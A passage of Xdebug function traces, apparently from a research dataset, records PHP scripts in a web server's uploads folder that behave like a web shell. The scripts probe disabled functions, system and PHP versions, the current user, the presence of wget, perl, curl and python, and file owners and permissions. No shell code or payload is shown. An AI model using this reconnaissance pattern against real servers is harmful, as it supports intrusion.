2	46	0	0.002453	501272	filedate	1		/var/www/html/uploads/accessv2.php	516	1	'/var/www/html/uploads/data'
3	47	0	0.002465	501272	filemtime	0		/var/www/html/uploads/accessv2.php	260	1	'/var/www/html/uploads/data'
3	47	1	0.002478	501312
3	47	R			1676241564
3	48	0	0.002491	501272	date	0		/var/www/html/uploads/accessv2.php	260	2	'F d Y g:i:s'	1676241564
3	48	1	0.002522	501600
3	48	R			'February 12 2023 5:39:24'
2	46	1	0.002537	501528
2	46	R			'February 12 2023 5:39:24'
2	49	0	0.002551	501304	owner	1		/var/www/html/uploads/accessv2.php	517	1	'/var/www/html/uploads/data'
3	50	0	0.002564	501304	function_exists	0		/var/www/html/uploads/accessv2.php	216	1	'posix_getpwuid'
3	50	1	0.002577	501344
3	50	R			TRUE
3	51	0	0.002590	501304	fileowner	0		/var/www/html/uploads/accessv2.php	217	1	'/var/www/html/uploads/data'
3	51	1	0.002602	501344
3	51	R			0
3	52	0	0.002614	501304	posix_getpwuid	0		/var/www/html/uploads/accessv2.php	217	1	0
3	52	1	0.002636	502104
3	52	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/accessv2.php	217	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	49	1	0.002677	501352
2	49	R			'<center>root</center>'
2	53	0	0.002692	501048	is_writable	0		/var/www/html/uploads/accessv2.php	519	1	'/var/www/html/uploads/data'
2	53	1	0.002708	501088
2	53	R			TRUE
2	54	0	0.002721	501048	statusnya	1		/var/www/html/uploads/accessv2.php	521	1	'/var/www/html/uploads/data'
3	55	0	0.002734	501048	fileperms	0		/var/www/html/uploads/accessv2.php	583	1	'/var/www/html/uploads/data'
3	55	1	0.002746	501088
3	55	R			16895
3	56	0	0.002759	501048	sprintf	0		/var/www/html/uploads/accessv2.php	583	2	'%o'	16895
3	56	1	0.002772	501432
3	56	R			'40777'
3	57	0	0.002785	501368	substr	0		/var/www/html/uploads/accessv2.php	583	2	'40777'	-4
3	57	1	0.002797	501464
3	57	R			'0777'
2		A						/var/www/html/uploads/accessv2.php	583	$izin = '0777'
2	54	1	0.002821	501080
2	54	R			'0777'
2	58	0	0.002834	501048	is_writable	0		/var/www/html/uploads/accessv2.php	522	1	'/var/www/html/uploads/data'
2	58	1	0.002848	501088
2	58	R			TRUE
2	59	0	0.002862	501056	is_dir	0		/var/www/html/uploads/accessv2.php	512	1	'/var/www/html/uploads/prepend.php'
2	59	1	0.002877	501104
2	59	R			FALSE
2	60	0	0.002891	501048	is_file	0		/var/www/html/uploads/accessv2.php	541	1	'/var/www/html/uploads/.'
2	60	1	0.002905	501072
2	60	R			FALSE
2	61	0	0.002918	501040	is_file	0		/var/www/html/uploads/accessv2.php	541	1	'/var/www/html/uploads/..'
2	61	1	0.002932	501088
2	61	R			FALSE
2	62	0	0.002944	501048	is_file	0		/var/www/html/uploads/accessv2.php	541	1	'/var/www/html/uploads/.htaccess'
2	62	1	0.002959	501088
2	62	R			TRUE
2	63	0	0.002971	501048	filesize	0		/var/www/html/uploads/accessv2.php	542	1	'/var/www/html/uploads/.htaccess'
2	63	1	0.002984	501088
2	63	R			64
1		A						/var/www/html/uploads/accessv2.php	542	$size = 0.0625
2	64	0	0.003008	500992	round	0		/var/www/html/uploads/accessv2.php	543	2	0.0625	3
2	64	1	0.003022	501064
2	64	R			0.063
1		A						/var/www/html/uploads/accessv2.php	543	$size = 0.063
1		A						/var/www/html/uploads/accessv2.php	547	$size = '0.063 KB'
2	65	0	0.003058	501088	cekfile	1		/var/www/html/uploads/accessv2.php	551	1	'/var/www/html/uploads/.htaccess'
2	65	1	0.003071	501088
2	65	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	66	0	0.003088	501344	filedate	1		/var/www/html/uploads/accessv2.php	553	1	'/var/www/html/uploads/.htaccess'
3	67	0	0.003104	501344	filemtime	0		/var/www/html/uploads/accessv2.php	260	1	'/var/www/html/uploads/.htaccess'
3	67	1	0.003118	501384
3	67	R			1676241564
3	68	0	0.003131	501344	date	0		/var/www/html/uploads/accessv2.php	260	2	'F d Y g:i:s'	1676241564
3	68	1	0.003161	501672
3	68	R			'February 12 2023 5:39:24'
2	66	1	0.003176	501600
2	66	R			'February 12 2023 5:39:24'
2	69	0	0.003191	501408	owner	1		/var/www/html/uploads/accessv2.php	554	1	'/var/www/html/uploads/.htaccess'
3	70	0	0.003203	501408	function_exists	0		/var/www/html/uploads/accessv2.php	216	1	'posix_getpwuid'
3	70	1	0.003216	501448
3	70	R			TRUE
3	71	0	0.003229	501408	fileowner	0		/var/www/html/uploads/accessv2.php	217	1	'/var/www/html/uploads/.htaccess'
3	71	1	0.003242	501448
3	71	R			0
3	72	0	0.003253	501408	posix_getpwuid	0		/var/www/html/uploads/accessv2.php	217	1	0
3	72	1	0.003276	502208
3	72	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/accessv2.php	217	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	69	1	0.003317	501456
2	69	R			'<center>root</center>'
2	73	0	0.003332	501088	is_writable	0		/var/www/html/uploads/accessv2.php	556	1	'/var/www/html/uploads/.htaccess'
2	73	1	0.003349	501128
2	73	R			FALSE
2	74	0	0.003362	501088	is_readable	0		/var/www/html/uploads/accessv2.php	557	1	'/var/www/html/uploads/.htaccess'
2	74	1	0.003377	501128
2	74	R			TRUE
2	75	0	0.003390	501088	statusnya	1		/var/www/html/uploads/accessv2.php	558	1	'/var/www/html/uploads/.htaccess'
3	76	0	0.003403	501088	fileperms	0		/var/www/html/uploads/accessv2.php	583	1	'/var/www/html/uploads/.htaccess'
3	76	1	0.003415	501128
3	76	R			33188
3	77	0	0.003428	501088	sprintf	0		/var/www/html/uploads/accessv2.php	583	2	'%o'	33188
3	77	1	0.003441	501472
3	77	R			'100644'
3	78	0	0.003453	501408	substr	0		/var/www/html/uploads/accessv2.php	583	2	'100644'	-4
3	78	1	0.003466	501504
3	78	R			'0644'
2		A						/var/www/html/uploads/accessv2.php	583	$izin = '0644'
2	75	1	0.003490	501120
2	75	R			'0644'
2	79	0	0.003503	501088	is_writable	0		/var/www/html/uploads/accessv2.php	559	1	'/var/www/html/uploads/.htaccess'
2	79	1	0.003518	501128
2	79	R			FALSE
2	80	0	0.003530	501088	is_readable	0		/var/www/html/uploads/accessv2.php	559	1	'/var/www/html/uploads/.htaccess'
2	80	1	0.003546	501128
2	80	R			TRUE
2	81	0	0.003559	501032	class_exists	0		/var/www/html/uploads/accessv2.php	568	1	'ZipArchive'
2	81	1	0.003572	501072
2	81	R			FALSE
2	82	0	0.003586	501096	is_file	0		/var/www/html/uploads/accessv2.php	541	1	'/var/www/html/uploads/accessv2.php'
2	82	1	0.003600	501144
2	82	R			TRUE
2	83	0	0.003613	501104	filesize	0		/var/www/html/uploads/accessv2.php	542	1	'/var/www/html/uploads/accessv2.php'
2	83	1	0.003625	501144
2	83	R			18764
1		A						/var/www/html/uploads/accessv2.php	542	$size = 18.32421875
2	84	0	0.003649	501000	round	0		/var/www/html/uploads/accessv2.php	543	2	18.32421875	3
2	84	1	0.003662	501072
2	84	R			18.324
1		A						/var/www/html/uploads/accessv2.php	543	$size = 18.324
1		A						/var/www/html/uploads/accessv2.php	547	$size = '18.324 KB'
2	85	0	0.003698	501104	cekfile	1		/var/www/html/uploads/accessv2.php	551	1	'/var/www/html/uploads/accessv2.php'
2	85	1	0.003711	501104
2	85	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	86	0	0.003735	501360	filedate	1		/var/www/html/uploads/accessv2.php	553	1	'/var/www/html/uploads/accessv2.php'
3	87	0	0.003748	501360	filemtime	0		/var/www/html/uploads/accessv2.php	260	1	'/var/www/html/uploads/accessv2.php'
3	87	1	0.003761	501400
3	87	R			1676241564
3	88	0	0.003773	501360	date	0		/var/www/html/uploads/accessv2.php	260	2	'F d Y g:i:s'	1676241564
3	88	1	0.003804	501688
3	88	R			'February 12 2023 5:39:24'
2	86	1	0.003819	501616
2	86	R			'February 12 2023 5:39:24'
2	89	0	0.003834	501424	owner	1		/var/www/html/uploads/accessv2.php	554	1	'/var/www/html/uploads/accessv2.php'
3	90	0	0.003846	501424	function_exists	0		/var/www/html/uploads/accessv2.php	216	1	'posix_getpwuid'
3	90	1	0.003859	501464
3	90	R			TRUE
3	91	0	0.003872	501424	fileowner	0		/var/www/html/uploads/accessv2.php	217	1	'/var/www/html/uploads/accessv2.php'
3	91	1	0.003884	501464
3	91	R			1000
3	92	0	0.003901	501424	posix_getpwuid	0		/var/www/html/uploads/accessv2.php	217	1	1000
3	92	1	0.003933	502240
3	92	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/accessv2.php	217	$tod = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2	89	1	0.003976	501480
2	89	R			'<center>osboxes</center>'
2	93	0	0.003993	501104	is_writable	0		/var/www/html/uploads/accessv2.php	556	1	'/var/www/html/uploads/accessv2.php'
2	93	1	0.004009	501144
2	93	R			FALSE
2	94	0	0.004022	501104	is_readable	0		/var/www/html/uploads/accessv2.php	557	1	'/var/www/html/uploads/accessv2.php'
2	94	1	0.004037	501144
2	94	R			TRUE
2	95	0	0.004050	501104	statusnya	1		/var/www/html/uploads/accessv2.php	558	1	'/var/www/html/uploads/accessv2.php'
3	96	0	0.004063	501104	fileperms	0		/var/www/html/uploads/accessv2.php	583	1	'/var/www/html/uploads/accessv2.php'
3	96	1	0.004075	501144
3	96	R			33204
3	97	0	0.004088	501104	sprintf	0		/var/www/html/uploads/accessv2.php	583	2	'%o'	33204
3	97	1	0.004101	501488
3	97	R			'100664'
3	98	0	0.004114	501424	substr	0		/var/www/html/uploads/accessv2.php	583	2	'100664'	-4
3	98	1	0.004127	501520
3	98	R			'0664'
2		A						/var/www/html/uploads/accessv2.php	583	$izin = '0664'
2	95	1	0.004151	501136
2	95	R			'0664'
2	99	0	0.004164	501104	is_writable	0		/var/www/html/uploads/accessv2.php	559	1	'/var/www/html/uploads/accessv2.php'
2	99	1	0.004178	501144
2	99	R			FALSE
2	100	0	0.004191	501104	is_readable	0		/var/www/html/uploads/accessv2.php	559	1	'/var/www/html/uploads/accessv2.php'
2	100	1	0.004206	501144
2	100	R			TRUE
2	101	0	0.004219	501040	class_exists	0		/var/www/html/uploads/accessv2.php	568	1	'ZipArchive'
2	101	1	0.004232	501080
2	101	R			FALSE
2	102	0	0.004344	501096	is_file	0		/var/www/html/uploads/accessv2.php	541	1	'/var/www/html/uploads/data'
2	102	1	0.004360	501128
2	102	R			FALSE
2	103	0	0.004374	501096	is_file	0		/var/www/html/uploads/accessv2.php	541	1	'/var/www/html/uploads/prepend.php'
2	103	1	0.004389	501144
2	103	R			TRUE
2	104	0	0.004402	501104	filesize	0		/var/www/html/uploads/accessv2.php	542	1	'/var/www/html/uploads/prepend.php'
2	104	1	0.004415	501144
2	104	R			57
1		A						/var/www/html/uploads/accessv2.php	542	$size = 0.0556640625
2	105	0	0.004439	501000	round	0		/var/www/html/uploads/accessv2.php	543	2	0.0556640625	3
2	105	1	0.004452	501072
2	105	R			0.056
1		A						/var/www/html/uploads/accessv2.php	543	$size = 0.056
1		A						/var/www/html/uploads/accessv2.php	547	$size = '0.056 KB'
2	106	0	0.004488	501104	cekfile	1		/var/www/html/uploads/accessv2.php	551	1	'/var/www/html/uploads/prepend.php'
2	106	1	0.004502	501104
2	106	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	107	0	0.004518	501360	filedate	1		/var/www/html/uploads/accessv2.php	553	1	'/var/www/html/uploads/prepend.php'
3	108	0	0.004531	501360	filemtime	0		/var/www/html/uploads/accessv2.php	260	1	'/var/www/html/uploads/prepend.php'
3	108	1	0.004544	501400
3	108	R			1676241564
3	109	0	0.004557	501360	date	0		/var/www/html/uploads/accessv2.php	260	2	'F d Y g:i:s'	1676241564
3	109	1	0.004588	501688
3	109	R			'February 12 2023 5:39:24'
2	107	1	0.004603	501616
2	107	R			'February 12 2023 5:39:24'
2	110	0	0.004617	501424	owner	1		/var/www/html/uploads/accessv2.php	554	1	'/var/www/html/uploads/prepend.php'
3	111	0	0.004630	501424	function_exists	0		/var/www/html/uploads/accessv2.php	216	1	'posix_getpwuid'
3	111	1	0.004643	501464
3	111	R			TRUE
3	112	0	0.004656	501424	fileowner	0		/var/www/html/uploads/accessv2.php	217	1	'/var/www/html/uploads/prepend.php'
3	112	1	0.004669	501464
3	112	R			0
3	113	0	0.004681	501424	posix_getpwuid	0		/var/www/html/uploads/accessv2.php	217	1	0
3	113	1	0.004704	502224
3	113	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/accessv2.php	217	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	110	1	0.004745	501472
2	110	R			'<center>root</center>'
2	114	0	0.004760	501104	is_writable	0		/var/www/html/uploads/accessv2.php	556	1	'/var/www/html/uploads/prepend.php'
2	114	1	0.004776	501144
2	114	R			FALSE
2	115	0	0.004790	501104	is_readable	0		/var/www/html/uploads/accessv2.php	557	1	'/var/www/html/uploads/prepend.php'
2	115	1	0.004808	501144
2	115	R			TRUE
2	116	0	0.004822	501104	statusnya	1		/var/www/html/uploads/accessv2.php	558	1	'/var/www/html/uploads/prepend.php'
3	117	0	0.004834	501104	fileperms	0		/var/www/html/uploads/accessv2.php	583	1	'/var/www/html/uploads/prepend.php'
3	117	1	0.004848	501144
3	117	R			33261
3	118	0	0.004860	501104	sprintf	0		/var/www/html/uploads/accessv2.php	583	2	'%o'	33261
3	118	1	0.004873	501488
3	118	R			'100755'
3	119	0	0.004886	501424	substr	0		/var/www/html/uploads/accessv2.php	583	2	'100755'	-4
3	119	1	0.004899	501520
3	119	R			'0755'
2		A						/var/www/html/uploads/accessv2.php	583	$izin = '0755'
2	116	1	0.004923	501136
2	116	R			'0755'
2	120	0	0.004936	501104	is_writable	0		/var/www/html/uploads/accessv2.php	559	1	'/var/www/html/uploads/prepend.php'
2	120	1	0.004952	501144
2	120	R			FALSE
2	121	0	0.004965	501104	is_readable	0		/var/www/html/uploads/accessv2.php	559	1	'/var/www/html/uploads/prepend.php'
2	121	1	0.004979	501144
2	121	R			TRUE
2	122	0	0.004993	501040	class_exists	0		/var/www/html/uploads/accessv2.php	568	1	'ZipArchive'
2	122	1	0.005006	501080
2	122	R			FALSE
2	123	0	0.005019	501040	author	1		/var/www/html/uploads/accessv2.php	580	0
			0.005055	419640
TRACE END   [2023-02-12 20:39:50.519683]

data/traces/213579bcf8898cfb969387e0455e8bc2_trace-1676257016.2429.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:57:22.140734]
1	0	1	0.000149	393528
1	3	0	0.000673	496656	{main}	1		/var/www/html/uploads/accessv3.php	0	0
2	4	0	0.000692	496656	set_time_limit	0		/var/www/html/uploads/accessv3.php	146	1	0
2	4	1	0.000709	496720
2	4	R			FALSE
2	5	0	0.000723	496688	error_reporting	0		/var/www/html/uploads/accessv3.php	147	1	0
2	5	1	0.000737	496728
2	5	R			22527
2	6	0	0.000751	496688	ini_get	0		/var/www/html/uploads/accessv3.php	149	1	'disable_functions'
2	6	1	0.000766	497168
2	6	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/accessv3.php	149	$disfunc = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/accessv3.php	153	$disf = '<font color=\'red\'>pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font>'
2	7	0	0.000839	497584	ipserv	1		/var/www/html/uploads/accessv3.php	290	0
2	7	1	0.000853	497584
2	7	R			'127.0.0.1'
2	8	0	0.000868	497584	php_uname	0		/var/www/html/uploads/accessv3.php	292	0
2	8	1	0.000883	497696
2	8	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	9	0	0.000902	497584	get_current_user	0		/var/www/html/uploads/accessv3.php	293	0
2	9	1	0.000940	497624
2	9	R			'osboxes'
2	10	0	0.000955	497688	getmyuid	0		/var/www/html/uploads/accessv3.php	293	0
2	10	1	0.000967	497688
2	10	R			1000
2	11	0	0.000981	497592	phpversion	0		/var/www/html/uploads/accessv3.php	294	0
2	11	1	0.000993	497656
2	11	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	12	0	0.001009	497592	function_exists	0		/var/www/html/uploads/accessv3.php	297	1	'mysql_connect'
2	12	1	0.001023	497632
2	12	R			FALSE
2	13	0	0.001036	497592	function_exists	0		/var/www/html/uploads/accessv3.php	303	1	'curl_init'
2	13	1	0.001050	497632
2	13	R			TRUE
2	14	0	0.001064	497592	file_exists	0		/var/www/html/uploads/accessv3.php	309	1	'/usr/bin/wget'
2	14	1	0.001084	497632
2	14	R			TRUE
2	15	0	0.001097	497592	file_exists	0		/var/www/html/uploads/accessv3.php	315	1	'/usr/bin/perl'
2	15	1	0.001113	497632
2	15	R			TRUE
2	16	0	0.001126	497592	file_exists	0		/var/www/html/uploads/accessv3.php	321	1	'/usr/bin/python2'
2	16	1	0.001142	497632
2	16	R			FALSE
2	17	0	0.001156	497592	getcwd	0		/var/www/html/uploads/accessv3.php	335	0
2	17	1	0.001169	497640
2	17	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/accessv3.php	335	$lokasi = '/var/www/html/uploads'
2	18	0	0.001195	497640	getcwd	0		/var/www/html/uploads/accessv3.php	336	0
2	18	1	0.001207	497688
2	18	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/accessv3.php	336	$lokdua = '/var/www/html/uploads'
2	19	0	0.001232	497688	str_replace	0		/var/www/html/uploads/accessv3.php	339	3	'\\'	'/'	'/var/www/html/uploads'
2	19	1	0.001247	497784
2	19	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/accessv3.php	339	$lokasi = '/var/www/html/uploads'
2	20	0	0.001271	497688	explode	0		/var/www/html/uploads/accessv3.php	340	2	'/'	'/var/www/html/uploads'
2	20	1	0.001286	498264
2	20	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/accessv3.php	340	$lokasis = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2	21	0	0.001319	498192	scandir	0		/var/www/html/uploads/accessv3.php	341	1	'/var/www/html/uploads'
2	21	1	0.001351	498816
2	21	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'accessv3.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/accessv3.php	341	$lokasinya = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'accessv3.php', 4 => 'data', 5 => 'prepend.php']
2	22	0	0.001388	498784	cekwrite	1		/var/www/html/uploads/accessv3.php	343	1	'/var/www/html/uploads'
3	23	0	0.001402	498784	fileperms	0		/var/www/html/uploads/accessv3.php	225	1	'/var/www/html/uploads'
3	23	1	0.001418	498848
3	23	R			16895
3	24	0	0.001437	498808	sprintf	0		/var/www/html/uploads/accessv3.php	225	2	'%o'	16895
3	24	1	0.001452	499192
3	24	R			'40777'
3	25	0	0.001465	499128	substr	0		/var/www/html/uploads/accessv3.php	225	2	'40777'	-4
3	25	1	0.001479	499224
3	25	R			'0777'
2		A						/var/www/html/uploads/accessv3.php	225	$izin = '0777'
3	26	0	0.001502	498840	is_writable	0		/var/www/html/uploads/accessv3.php	226	1	'/var/www/html/uploads'
3	26	1	0.001519	498880
3	26	R			TRUE
2	22	1	0.001532	498864
2	22	R			'<font color=green>0777</font>'
1		A						/var/www/html/uploads/accessv3.php	345	$id = 0
1		A						/var/www/html/uploads/accessv3.php	347	$a = TRUE
1		A						/var/www/html/uploads/accessv3.php	345	$id = 1
1		A						/var/www/html/uploads/accessv3.php	353	$i = 0
1		A						/var/www/html/uploads/accessv3.php	353	$i++
1		A						/var/www/html/uploads/accessv3.php	353	$i++
1		A						/var/www/html/uploads/accessv3.php	345	$id = 2
1		A						/var/www/html/uploads/accessv3.php	353	$i = 0
1		A						/var/www/html/uploads/accessv3.php	353	$i++
1		A						/var/www/html/uploads/accessv3.php	353	$i++
1		A						/var/www/html/uploads/accessv3.php	353	$i++
1		A						/var/www/html/uploads/accessv3.php	345	$id = 3
1		A						/var/www/html/uploads/accessv3.php	353	$i = 0
1		A						/var/www/html/uploads/accessv3.php	353	$i++
1		A						/var/www/html/uploads/accessv3.php	353	$i++
1		A						/var/www/html/uploads/accessv3.php	353	$i++
1		A						/var/www/html/uploads/accessv3.php	353	$i++
1		A						/var/www/html/uploads/accessv3.php	345	$id = 4
1		A						/var/www/html/uploads/accessv3.php	353	$i = 0
1		A						/var/www/html/uploads/accessv3.php	353	$i++
1		A						/var/www/html/uploads/accessv3.php	353	$i++
1		A						/var/www/html/uploads/accessv3.php	353	$i++
1		A						/var/www/html/uploads/accessv3.php	353	$i++
1		A						/var/www/html/uploads/accessv3.php	353	$i++
2	27	0	0.001765	498920	is_readable	0		/var/www/html/uploads/accessv3.php	497	1	'/var/www/html/uploads'
2	27	1	0.001782	498960
2	27	R			TRUE
2	28	0	0.001796	498968	is_dir	0		/var/www/html/uploads/accessv3.php	512	1	'/var/www/html/uploads/.'
2	28	1	0.001811	499008
2	28	R			TRUE
2	29	0	0.001825	498976	is_dir	0		/var/www/html/uploads/accessv3.php	512	1	'/var/www/html/uploads/..'
2	29	1	0.001839	499024
2	29	R			TRUE
2	30	0	0.001852	499208	filedate	1		/var/www/html/uploads/accessv3.php	516	1	'/var/www/html/uploads/..'
3	31	0	0.001865	499208	filemtime	0		/var/www/html/uploads/accessv3.php	260	1	'/var/www/html/uploads/..'
3	31	1	0.001878	499248
3	31	R			1676257016
3	32	0	0.001892	499208	date	0		/var/www/html/uploads/accessv3.php	260	2	'F d Y g:i:s'	1676257016
3	32	1	0.001949	501600
3	32	R			'February 12 2023 9:56:56'
2	30	1	0.001968	501528
2	30	R			'February 12 2023 9:56:56'
2	33	0	0.001983	501304	owner	1		/var/www/html/uploads/accessv3.php	517	1	'/var/www/html/uploads/..'
3	34	0	0.001996	501304	function_exists	0		/var/www/html/uploads/accessv3.php	216	1	'posix_getpwuid'
3	34	1	0.002010	501344
3	34	R			TRUE
3	35	0	0.002022	501304	fileowner	0		/var/www/html/uploads/accessv3.php	217	1	'/var/www/html/uploads/..'
3	35	1	0.002036	501344
3	35	R			0
3	36	0	0.002048	501304	posix_getpwuid	0		/var/www/html/uploads/accessv3.php	217	1	0
3	36	1	0.002073	502104
3	36	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/accessv3.php	217	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	33	1	0.002116	501352
2	33	R			'<center>root</center>'
2	37	0	0.002132	501048	is_writable	0		/var/www/html/uploads/accessv3.php	519	1	'/var/www/html/uploads/..'
2	37	1	0.002148	501088
2	37	R			TRUE
2	38	0	0.002162	501048	statusnya	1		/var/www/html/uploads/accessv3.php	521	1	'/var/www/html/uploads/..'
3	39	0	0.002175	501048	fileperms	0		/var/www/html/uploads/accessv3.php	583	1	'/var/www/html/uploads/..'
3	39	1	0.002188	501088
3	39	R			16895
3	40	0	0.002201	501048	sprintf	0		/var/www/html/uploads/accessv3.php	583	2	'%o'	16895
3	40	1	0.002214	501432
3	40	R			'40777'
3	41	0	0.002227	501368	substr	0		/var/www/html/uploads/accessv3.php	583	2	'40777'	-4
3	41	1	0.002245	501464
3	41	R			'0777'
2		A						/var/www/html/uploads/accessv3.php	583	$izin = '0777'
2	38	1	0.002270	501080
2	38	R			'0777'
2	42	0	0.002283	501048	is_writable	0		/var/www/html/uploads/accessv3.php	522	1	'/var/www/html/uploads/..'
2	42	1	0.002298	501088
2	42	R			TRUE
2	43	0	0.002312	501048	is_dir	0		/var/www/html/uploads/accessv3.php	512	1	'/var/www/html/uploads/.htaccess'
2	43	1	0.002328	501088
2	43	R			FALSE
2	44	0	0.002341	501056	is_dir	0		/var/www/html/uploads/accessv3.php	512	1	'/var/www/html/uploads/accessv3.php'
2	44	1	0.002356	501104
2	44	R			FALSE
2	45	0	0.002369	501056	is_dir	0		/var/www/html/uploads/accessv3.php	512	1	'/var/www/html/uploads/data'
2	45	1	0.002383	501088
2	45	R			TRUE
2	46	0	0.002396	501272	filedate	1		/var/www/html/uploads/accessv3.php	516	1	'/var/www/html/uploads/data'
3	47	0	0.002410	501272	filemtime	0		/var/www/html/uploads/accessv3.php	260	1	'/var/www/html/uploads/data'
3	47	1	0.002422	501312
3	47	R			1676257016
3	48	0	0.002435	501272	date	0		/var/www/html/uploads/accessv3.php	260	2	'F d Y g:i:s'	1676257016
3	48	1	0.002466	501600
3	48	R			'February 12 2023 9:56:56'
2	46	1	0.002481	501528
2	46	R			'February 12 2023 9:56:56'
2	49	0	0.002496	501304	owner	1		/var/www/html/uploads/accessv3.php	517	1	'/var/www/html/uploads/data'
3	50	0	0.002509	501304	function_exists	0		/var/www/html/uploads/accessv3.php	216	1	'posix_getpwuid'
3	50	1	0.002522	501344
3	50	R			TRUE
3	51	0	0.002534	501304	fileowner	0		/var/www/html/uploads/accessv3.php	217	1	'/var/www/html/uploads/data'
3	51	1	0.002547	501344
3	51	R			0
3	52	0	0.002559	501304	posix_getpwuid	0		/var/www/html/uploads/accessv3.php	217	1	0
3	52	1	0.002581	502104
3	52	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/accessv3.php	217	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	49	1	0.002623	501352
2	49	R			'<center>root</center>'
2	53	0	0.002638	501048	is_writable	0		/var/www/html/uploads/accessv3.php	519	1	'/var/www/html/uploads/data'
2	53	1	0.002654	501088
2	53	R			TRUE
2	54	0	0.002667	501048	statusnya	1		/var/www/html/uploads/accessv3.php	521	1	'/var/www/html/uploads/data'
3	55	0	0.002680	501048	fileperms	0		/var/www/html/uploads/accessv3.php	583	1	'/var/www/html/uploads/data'
3	55	1	0.002693	501088
3	55	R			16895
3	56	0	0.002705	501048	sprintf	0		/var/www/html/uploads/accessv3.php	583	2	'%o'	16895
3	56	1	0.002718	501432
3	56	R			'40777'
3	57	0	0.002732	501368	substr	0		/var/www/html/uploads/accessv3.php	583	2	'40777'	-4
3	57	1	0.002745	501464
3	57	R			'0777'
2		A						/var/www/html/uploads/accessv3.php	583	$izin = '0777'
2	54	1	0.002768	501080
2	54	R			'0777'
2	58	0	0.002781	501048	is_writable	0		/var/www/html/uploads/accessv3.php	522	1	'/var/www/html/uploads/data'
2	58	1	0.002796	501088
2	58	R			TRUE
2	59	0	0.002810	501056	is_dir	0		/var/www/html/uploads/accessv3.php	512	1	'/var/www/html/uploads/prepend.php'
2	59	1	0.002825	501104
2	59	R			FALSE
2	60	0	0.002839	501048	is_file	0		/var/www/html/uploads/accessv3.php	541	1	'/var/www/html/uploads/.'
2	60	1	0.002854	501072
2	60	R			FALSE
2	61	0	0.002867	501040	is_file	0		/var/www/html/uploads/accessv3.php	541	1	'/var/www/html/uploads/..'
2	61	1	0.002881	501088
2	61	R			FALSE
